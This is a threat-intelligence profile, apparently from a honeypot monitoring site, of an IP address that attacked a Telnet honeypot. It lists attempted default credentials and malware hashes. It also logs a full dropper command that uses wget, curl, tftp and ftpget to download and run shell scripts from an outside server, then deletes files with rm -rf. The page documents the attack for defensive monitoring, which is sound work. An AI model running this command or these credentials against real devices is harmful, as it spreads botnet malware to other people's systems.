⚠TROYANOSYVIRUS
Active Threat • LOW

35.204.146.196

Country of Origin🇫🇷 France
First Detection1/30/2026
Last Activity1/30/2026
ISPOVH SAS
🎯
24
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
2
Malware

Geolocation

Country
🇫🇷 France
City
Unknown
ASN
AS16276
ISP
OVH SAS

Attack Types

cowrie

Attacked Ports

23

Associated Malware

f06e784b0626e463b45f...→b7a3af59ee5db48d1779...→

Attempted Credentials

🔐root/86981198
1x
🔐admin/vizxv
1x
🔐guest/guest
1x
🔐admin/admin
1x
🔐root/12345
1x
🔐guest/12345
1x

Executed Commands

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.137.98.97/ohshit.sh; curl -O http://45.137.98.97/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 45.137.98.97 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 45.137.98.97; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.137.98.97 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *1x
$uname -m1x

Risk Assessment

25
/100
LowMediumHighCritical